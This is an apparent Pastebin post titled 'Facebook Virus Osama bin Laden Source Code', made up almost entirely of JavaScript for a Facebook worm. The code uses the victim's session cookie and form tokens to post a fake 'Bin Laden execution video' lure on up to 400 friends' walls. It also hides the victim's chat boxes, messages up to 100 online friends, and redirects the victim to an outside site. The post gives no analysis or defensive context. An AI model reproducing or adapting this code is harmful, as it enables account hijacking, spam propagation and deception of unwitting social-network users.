Advertisement
biborn

Facebook Virus Osama bin Laden Source Code

Sep 7th, 2011
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     //alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!');
  2.      
  3.     function readCookie(name) {
  4.      
  5.     var nameEQ = name + "=";
  6.     var ca = document.cookie.split(';');
  7.     for(var i=0;i < ca.length;i++) {
  8.       var c = ca[i];
  9.       while (c.charAt(0)==' ') c = c.substring(1,c.length);
  10.       if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  11.     }
  12.     return null;
  13.      
  14.     }
  15.      
  16.     var user_id = readCookie("c_user");
  17.      
  18.      
  19.     // Setup some variables
  20.      
  21.     var post_form_id = document.getElementsByName('post_form_id')[0].value;
  22.     var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  23.      
  24.     // Chat message variables
  25.      
  26.     var linkies = [
  27.     "http://www.facebook.com/Osama.Gets.Shot.Down",
  28.     "http://www.facebook.com/Osama.Gets.Shot.Down",
  29.     "http://www.facebook.com/Osama.Gets.Shot.Down",
  30.     "http://www.facebook.com/Osama.Gets.Shot.Down"
  31.     ]
  32.      
  33.     var this_chat = "Watch Osama's EXECUTION Video! " + linkies[Math.floor(Math.random()*linkies.length)];
  34.     var prepared_chat = encodeURIComponent(this_chat);
  35.      
  36.      
  37.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  38.     // Post Link to friends walls
  39.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  40.      
  41.     var token = Math.round(new Date().getTime() / 1000);
  42.      
  43.     var http1 = new XMLHttpRequest();
  44.      
  45.     var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";
  46.      
  47.     var params1 = "";
  48.     http1.open("GET", url1+"?"+params1, true);
  49.     http1.onreadystatechange = function() {//Call a function when the state changes.
  50.      
  51.     if(http1.readyState == 4 && http1.status == 200) { // If state = success
  52.      
  53.       var response1 = http1.responseText;
  54.      
  55.       response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
  56.       response1 = JSON.parse(response1); // Convert the response to JSON
  57.      
  58.       //alert(response4.toSource());
  59.      
  60.       var count = 0;
  61.      
  62.       for(uid in response1.payload.entries){
  63.        
  64.        if(count < 400){
  65.        
  66.         //alert("SENT TO "+response1.payload.entries[count].uid);
  67.      
  68.         // Loop to send messages
  69.        
  70.         // New XMLHttp object
  71.         var httpwp = new XMLHttpRequest();
  72.            
  73.         var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
  74.        
  75.         var statusmessage="Disturbing Yet Awesome!";
  76.         var title="Bin Laden EXECUTION Video! Yes it's REAL!";
  77.         var link=linkies[Math.floor(Math.random()*linkies.length)];
  78.         var description="Commandos attack Bin Laden's compund and take him out!";
  79.         var picture="http://i.imgur.com/yTjtU.jpg";
  80.        
  81.         var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
  82.        
  83.         httpwp.open("POST", urlwp, true);
  84.        
  85.         //Send the proper header information along with the request
  86.        
  87.         httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  88.         httpwp.setRequestHeader("Content-length", paramswp.length);
  89.         httpwp.setRequestHeader("Connection", "keep-alive");    
  90.        
  91.         httpwp.onreadystatechange = function() { //Call a function when the state changes.
  92.          if(httpwp.readyState == 4 && httpwp.status == 200){
  93.           //alert(http.responseText);
  94.           //alert('buddy list fetched');
  95.          }
  96.      
  97.         }
  98.      
  99.         httpwp.send(paramswp);
  100.      
  101.        }
  102.      
  103.        count++; // increment counter
  104.      
  105.       }
  106.        
  107.       http1.close; // Close the connection
  108.      
  109.      
  110.      
  111.     }
  112.      
  113.     }
  114.      
  115.     http1.send(null);
  116.      
  117.      
  118.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  119.     // Hide chat boxes
  120.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  121.      
  122.     var hide = document.getElementById('fbDockChatTabSlider');
  123.      
  124.     hide.style.display = "none";
  125.      
  126.      
  127.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  128.     // Get online friends and send chat message to them
  129.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  130.      
  131.     var http3 = new XMLHttpRequest();
  132.      
  133.     var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
  134.     var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
  135.     http3.open("POST", url3, true);
  136.      
  137.     //Send the proper header information along with the request
  138.     http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  139.     http3.setRequestHeader("Content-length", params3.length);
  140.     http3.setRequestHeader("Connection", "close");
  141.      
  142.     http3.onreadystatechange = function() {//Call a function when the state changes.
  143.     if(http3.readyState == 4 && http3.status == 200) {
  144.      
  145.       var response3 = http3.responseText;
  146.      
  147.       response3 = response3.replace("for (;;);", "");
  148.       response3 = JSON.parse(response3);
  149.      
  150.       var count = 0;
  151.      
  152.       for(property in response3.payload.buddy_list.nowAvailableList){
  153.        
  154.        if(count < 100){
  155.        
  156.         // Loop to send messages
  157.        
  158.         // New XMLHttp object
  159.         var httpc = new XMLHttpRequest();
  160.        
  161.         // Generate random message ID
  162.            
  163.         var msgid = Math.floor(Math.random()*1000000);
  164.        
  165.         var time = Math.round(new Date().getTime() / 1000);
  166.        
  167.         var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
  168.         var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
  169.         httpc.open("POST", urlc, true);
  170.        
  171.         //Send the proper header information along with the request
  172.         httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  173.         httpc.setRequestHeader("Content-length", paramsc.length);
  174.         httpc.setRequestHeader("Connection", "close");
  175.        
  176.         httpc.onreadystatechange = function() { //Call a function when the state changes.
  177.          if(httpc.readyState == 4 && httpc.status == 200){
  178.           //alert(http.responseText);
  179.           //alert('buddy list fetched');
  180.          }
  181.         }
  182.         httpc.send(paramsc);
  183.      
  184.        }
  185.        
  186.        //alert(property);
  187.        count++; // increment counter
  188.      
  189.       }
  190.      
  191.       http3.close; // Close the connection
  192.      
  193.     }
  194.     }
  195.     http3.send(params3);
  196.      
  197.      
  198.      
  199.      
  200.      
  201.      
  202.      
  203.     /*
  204.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  205.     // Become a Fan - MW GIVEAWAY
  206.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  207.      
  208.     var http4 = new XMLHttpRequest();
  209.      
  210.     var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  211.      
  212.     var params4 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
  213.      
  214.     http4.open("POST", url4, true);
  215.      
  216.     //Send the proper header information along with the request
  217.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  218.     http4.setRequestHeader("Content-length", params4.length);
  219.     http4.setRequestHeader("Connection", "close");
  220.      
  221.     http4.onreadystatechange = function() {//Call a function when the state changes.
  222.     if(http4.readyState == 4 && http4.status == 200) {
  223.        
  224.       http4.close; // Close the connection
  225.      
  226.     }
  227.     }
  228.     http4.send(params4);
  229.      
  230.      
  231.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  232.     // Become a Fan - MW GIft
  233.     ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  234.      
  235.     var http5 = new XMLHttpRequest();
  236.      
  237.     var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  238.      
  239.     var params5 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
  240.      
  241.     http5.open("POST", url5, true);
  242.      
  243.     //Send the proper header information along with the request
  244.     http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  245.     http5.setRequestHeader("Content-length", params5.length);
  246.     http5.setRequestHeader("Connection", "close");
  247.      
  248.     http5.onreadystatechange = function() {//Call a function when the state changes.
  249.     if(http5.readyState == 4 && http5.status == 200) {
  250.        
  251.       http5.close; // Close the connection
  252.      
  253.     }
  254.     }
  255.     http5.send(params5);
  256.     */
  257.      
  258.     //document.getElementById('susta').style.display="none";
  259.     document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>";
  260.     setTimeout("window.location = 'http://osama.mytopanswers.info/video.htm';", 15000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement